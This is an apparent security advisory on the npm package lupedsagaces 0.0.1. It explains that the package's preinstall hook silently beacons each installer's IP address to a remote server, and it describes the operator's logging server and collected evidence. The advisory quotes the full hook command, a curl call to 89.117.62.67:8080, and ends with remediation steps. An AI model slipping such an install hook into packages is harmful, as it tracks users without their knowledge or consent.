lupedsagaces 0.0.1

lupedsagaces 0.0.1 is a package with no runnable code and no legitimate function. Its only behaviour is a preinstall hook that makes a plain HTTP request to 89.117.62.67:8080, so that every install reports the installing machine's public IP address (and the curl User-Agent) to whoever runs that server. The archive also ships the receiving end: a Python HTTP server that logs each connection's IP, port, method, path and headers, together with its already-collected access log, database and JSONL evidence. The package is not telemetry or analytics; the beacon is the entire point of the package, and it has been published since November 5, 2026 and is still served.

What lupedsagaces does

Installing the package runs the preinstall script declared in its package.json, which executes curl -k http://89.117.62.67:8080. That opens a TCP connection to 89.117.62.67 port 8080 and sends an ordinary GET request. The request carries no package data beyond the standard HTTP headers, but the connection itself hands the server the installer's source IP address and curl's User-Agent, and the shipped server code confirms that exactly this is stored for every hit. Nothing else in the package ever runs: there is no entry point, no exported code, and no README describing a purpose.

What the code does

• package.json lines 4-6 declare the only script: "preinstall": "curl -k http://89.117.62.67:8080". This is the beacon that fires on every install.
• server.py lines 63-93 (PoCHandler.registrar_acesso) assemble an event from each request's client IP (self.client_address[0]), source port, method, path, protocol, User-Agent, Host and Referer.
• server.py lines 94-122 write that event into an SQLite database (evidencias/poc-access.db) and append it as JSON to evidencias/poc-access.jsonl, so the operator keeps a permanent copy of every connecting host.
• server.py lines 22-27 redact authorization, proxy-authorization and cookie headers before logging, which shows the operator's logging is deliberate and designed to gather header data from whatever reaches it.
• evidencias/poc-access.jsonl lines 1-3 are the operator's already-collected entries, including an earlier curl/8.22.0 hit against 89.117.62.67:8080 — the same kind of request this package's preinstall script makes.
• The placeholder 0.0.0-stage version (package.json "stub": true) has no script; the beacon was added in 0.0.1.

Timeline (UTC)

If you installed it

Uninstall the package immediately with npm uninstall lupedsagaces. If 0.0.1 was installed, assume the public IP address of the machine that ran the install was stored by the operator of 89.117.62.67:8080; there is no setting in the package to disable this. Audit any environments where it was installed, and prefer installing from a trusted source that does not run unverified install scripts.